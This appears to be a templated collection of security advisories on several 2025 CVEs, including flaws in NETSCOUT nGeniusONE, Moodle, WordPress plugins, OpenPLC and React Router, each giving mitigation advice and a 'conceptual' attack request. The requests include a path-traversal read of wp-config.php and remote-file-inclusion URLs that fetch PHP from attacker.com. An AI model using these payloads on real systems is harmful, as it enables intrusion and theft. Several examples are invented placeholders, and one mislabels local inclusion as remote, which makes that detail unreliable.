Author: Ameeba

Overview

The vulnerability CVE-2025-32986 is a serious cybersecurity threat affecting NETSCOUT nGeniusONE versions before 6.4.0 b2350. It allows unauthorized access to sensitive files, potentially leading to system compromise or data leakage. This report will provide a detailed analysis of the vulnerability, its impacts, and methods for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-32986
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

NETSCOUT nGeniusONE | Before 6.4.0 b2350

How the Exploit Works

The vulnerability stems from a lack of proper authentication checks on certain endpoints in the nGeniusONE system. An attacker can send a specially crafted request to these vulnerable endpoints to gain unauthorized access to sensitive files. This can lead to a potential system compromise and data leakage if the files contain sensitive information.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /sensitive-file-endpoint HTTP/1.1
Host: target.example.com

This is a simple HTTP GET request that an attacker could potentially use to access a sensitive file without proper authentication. The actual exploit would likely involve more complex interactions and manipulation of the request parameters to bypass any existing security controls and access the desired file.

Recommended Mitigation

To mitigate this vulnerability, users are advised to update their NETSCOUT nGeniusONE systems to version 6.4.0 b2350 or later, where the issue has been resolved. If this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can monitor and limit access to the vulnerable endpoints until the software can be updated.

Overview

The identified vulnerability, CVE-2025-32983, affects NETSCOUT nGeniusONE versions prior to 6.4.0 b2350. This flaw allows potential attackers to gain access to technical information through a stack trace, which could lead to system compromise or data leakage. This vulnerability is particularly concerning due to the high severity score and the potential damage it could cause if exploited.

Vulnerability Summary

CVE ID: CVE-2025-32983
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NETSCOUT nGeniusONE | versions prior to 6.4.0 b2350

How the Exploit Works

The vulnerability resides in the implementation of error handling within the nGeniusONE. When specific errors are triggered, the system responds with a stack trace that includes sensitive technical information. An attacker could leverage this detailed information to understand the underlying architecture and potentially identify other vulnerabilities or weak points in the system, leading to a possible system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be done using a specially crafted HTTP request to trigger an error and obtain the stack trace information:

GET /trigger/error HTTP/1.1
Host: vulnerable.netscout.example.com

Upon receiving the response, the attacker would analyze the stack trace to collect sensitive information for potential exploits. Please note that this is a simplified example and actual exploitation might require a more complex approach.

Mitigation Guidance

Affected users are strongly advised to apply the vendor patch as soon as possible. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to monitor and block potential exploit attempts.

Overview

The CVE-2025-32982 is a critical vulnerability found in NETSCOUT nGeniusONE versions before 6.4.0 b2350. This vulnerability resides in the report module of the application and is due to a broken authorization schema. If exploited, this vulnerability could lead to system compromise or data leakage, posing a serious threat to users and organizations relying on the affected versions of this software.

Vulnerability Summary

CVE ID: CVE-2025-32982
Severity: High (7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NETSCOUT nGeniusONE | Before 6.4.0 b2350

How the Exploit Works

The exploit takes advantage of the broken authorization schema in the report module of nGeniusONE. An attacker can bypass the authorization checks, enabling them to access sensitive data and potentially compromise the system. This could be done by sending specially crafted network requests to the affected module.

Conceptual Example Code

Here’s a conceptual example illustrating how an attacker might exploit this vulnerability:

GET /report/12345 HTTP/1.1
Host: vulnerable-host.example.com
Authorization: Bearer compromised-token

In this example, an attacker uses a compromised token to access restricted report data.
Please note that this is a conceptual example for illustrative purposes only and may not represent the actual exploit code.

Mitigation

Users are advised to apply the vendor-provided patch to mitigate this vulnerability. If patching is not immediately possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to detect and block exploitation attempts. Regularly review and update security configurations to ensure the highest protection level against such vulnerabilities.

Overview

A critical vulnerability has been discovered in Moodle, a widely used learning management system. This vulnerability, designated CVE-2025-32044, allows unauthenticated users to extract sensitive user data. The potential impact ranges from unauthorized data access to potential system compromise, making this issue a top priority for administrators and developers working with Moodle.

Vulnerability Summary

CVE ID: CVE-2025-32044
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data, potential system compromise

Affected Products

Product | Affected Versions

Moodle | All versions prior to patch

How the Exploit Works

The vulnerability occurs due to the mishandling of specific API calls on certain Moodle sites. Unauthenticated users can trigger a stack trace which inadvertently leaks sensitive user data. This includes names, contact information, and hashed passwords. Sites with PHP configured with zend.exception_ignore_args = 1 in the php.ini file are not affected.

Conceptual Example Code

The vulnerability could potentially be exploited with a malicious HTTP request like the following:

GET /api/v1/userdata HTTP/1.1
Host: vulnerable.moodlesite.com

The above is a conceptual example and the actual exploit may vary based on the specific site configuration, the attacker’s knowledge, and other factors.

Mitigation and Remediation

The recommended mitigation is to apply the vendor’s patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. Additionally, sites configured with zend.exception_ignore_args = 1 in the php.ini file are not affected by this vulnerability.

Overview

The Mayosis Core plugin for WordPress, a popular plugin used by many WordPress sites, is now under threat from a newly discovered vulnerability, CVE-2025-1565. This vulnerability could allow unauthenticated attackers to read the contents of arbitrary files on the server, leading to potential system compromise or data leakage, making it a significant cybersecurity concern.

Vulnerability Summary

CVE ID: CVE-2025-1565
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, sensitive data leakage

Affected Products

Product | Affected Versions

Mayosis Core WordPress plugin | All versions up to and including 5.4.1

How the Exploit Works

The vulnerability resides in the library/wave-audio/peaks/remote_dl.php file of the Mayosis Core plugin. An unauthenticated attacker can send a malicious request to this file and exploit the Arbitrary File Read vulnerability. This allows the attacker to read the contents of arbitrary files on the server, which may include sensitive information.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below. By sending a HTTP GET request to the vulnerable file, an attacker could potentially access sensitive data.

GET /wp-content/plugins/mayosis-core/library/wave-audio/peaks/remote_dl.php?file=../../../../../wp-config.php HTTP/1.1
Host: target.example.com

Mitigation Guidance

Users are advised to apply the vendor patch once it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. By blocking or closely monitoring traffic to the affected file (remote_dl.php), these systems can help prevent exploitation of this vulnerability.

Overview

The CVE-2025-46613 vulnerability is a significant security flaw in OpenPLC 3, an open-source PLC (Programmable Logic Controller) platform commonly used in industrial control systems. This vulnerability arises due to an issue in memory corruption and can lead to potential system compromise or data leakage, posing a serious risk to any organization using affected versions of the software.

Vulnerability Summary

CVE ID: CVE-2025-46613
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

OpenPLC 3 | Versions through 64f9c11

How the Exploit Works

The CVE-2025-46613 vulnerability is triggered when a thread accesses handleConnections arguments after the parent stack frame becomes unavailable, resulting in memory corruption. An attacker can exploit this flaw remotely over a network without requiring any user interaction or special privileges, leading to unauthorized system access, data manipulation, or, in worst cases, a complete system compromise.

Conceptual Example Code

This is a conceptual example of how an attacker might exploit the vulnerability. This snippet doesn’t represent an actual exploit, but illustrates the potential threat:

POST /OpenPLC3/handleConnections HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "corrupted_memory_data" }

In this case, the attacker is sending a malicious payload designed to corrupt memory data, exploiting the vulnerability in OpenPLC 3’s handleConnections function.

Mitigation Guidance

The recommended mitigation for CVE-2025-46613 is to apply the vendor patch once available. Until then, users can employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to monitor network traffic and detect potential exploit attempts. Regular system and network audits should also be conducted to ensure no unauthorized activity has taken place.

Overview

The vulnerability CVE-2025-43864 affects versions 7.2.0 to 7.5.1 of React Router, a popular router used in React applications. Exploitation of this vulnerability can lead to cache poisoning, resulting in severe application disruption or even system compromise. As React Router is widely used within various web applications, the impact of this vulnerability is broad and significant.

Vulnerability Summary

CVE ID: CVE-2025-43864
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Successful exploitation results in application disruption due to cache poisoning, potentially leading to system compromise and data leakage.

Affected Products

Product | Affected Versions

React Router | 7.2.0 to 7.5.1

How the Exploit Works

The exploit takes advantage of a flaw in the React Router. By adding a specific header to a request, an attacker can force the application to switch from Server-Side Rendering (SSR) to Single Page Application (SPA) mode. This causes an error that corrupts the application page. If a cache system is present, the error response can be cached, resulting in cache poisoning. This disrupts the application’s availability and can potentially lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of an HTTP request that might be used to exploit this vulnerability:

GET / HTTP/1.1
Host: target.example.com
X-Force-SPA: true

This request includes the custom `X-Force-SPA` header (not a real header, used for illustrative purposes), designed to force the application into SPA mode from SSR, thereby triggering the vulnerability.

Mitigation

Users are advised to apply the vendor patch (version 7.5.2) to mitigate the vulnerability. If immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation until the patch can be applied.

Overview

CVE-2025-3606 is a high-severity vulnerability that affects Vestel AC Charger version 3.75.0. It enables an attacker to access files containing sensitive information, such as credentials, and potentially compromise the device. The impact of this vulnerability is significant, as it can lead to system compromise or data leakage, posing a serious threat to data privacy and security.

Vulnerability Summary

CVE ID: CVE-2025-3606
Severity: High (7.5 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage, unauthorized access to sensitive files

Affected Products

Product | Affected Versions

Vestel AC Charger | 3.75.0

How the Exploit Works

The vulnerability lies in the improper handling of file access by Vestel AC Charger version 3.75.0. An attacker can exploit this by accessing the local file system, which may contain files with sensitive information. This can be done without any user interaction, and no special privileges are required. Once the attacker has access to these files, they could use the credentials found within to further compromise the device.

Conceptual Example Code

Here is a conceptual example demonstrating how the vulnerability might be exploited:

# The attacker accesses the local file system
$ cd /path/to/sensitive/files
# The attacker reads the file containing sensitive information
$ cat credentials.txt

Mitigation Guidance

It’s recommended to apply the patch provided by the vendor to fix this vulnerability. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These solutions can help detect or block any attempts to exploit this vulnerability.

Overview

The vulnerability CVE-2025-46230 pertains to the GhozyLab Popup Builder, wherein an improper control of filename for Include/Require Statement in PHP program allows PHP Local File Inclusion. This vulnerability can lead to potential system compromise or data leakage, thereby affecting the integrity and confidentiality of the system. This issue is of high importance due to its impact on potentially numerous web applications powered by the PHP programming language.

Vulnerability Summary

CVE ID: CVE-2025-46230
Severity: High, 7.5 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GhozyLab Popup Builder | up to and including 1.1.35

How the Exploit Works

The exploit works by manipulating the filename in the Include/Require Statement in a PHP program, which allows an attacker to include a local file from the server. This can be used to execute arbitrary PHP code, providing a pathway for potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload.

GET /vulnerable_endpoint.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
Accept: */*

In this example, the attacker could host a malicious PHP file on their own server (attacker.com) and then trick the vulnerable application into including and executing that code. This would allow the attacker to execute arbitrary code with the privileges of the web server process.

Mitigation

To mitigate the issue, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, users can restrict the input of the file parameter to only allow local resources to be included, and disallow any remote resources.

Overview

This report covers the CVE-2025-39399 vulnerability, which is a PHP Remote File Inclusion issue in ‘License For Envato’ developed by Ashraful Sarkar Naiem. It primarily affects users of this software and could potentially lead to system compromise or data leakage. The severity of this vulnerability underlines the importance of immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39399
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

License For Envato | n/a through 1.0.0

How the Exploit Works

The exploit works due to improper control of the filename for include/require statements in the PHP program of the License For Envato software. An attacker can manipulate these statements to remotely load PHP files from an external server. This can lead to the execution of arbitrary PHP code on the affected system.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a crafted request to a vulnerable instance of License For Envato. The request could look something like this:

GET /vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, `vulnerable.php` is a script that includes or requires a file based on the `file` parameter, and `http://attacker.com/malicious.php` is an attacker-controlled file that contains malicious PHP code. When the server processes the request, it includes the malicious file, executing the attacker’s code.

Mitigation

Users are advised to apply patches provided by the vendor to fix this vulnerability. In cases where patches can’t be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also recommended to check and sanitize all inputs and avoid using user inputs directly in include/require statements in PHP programs.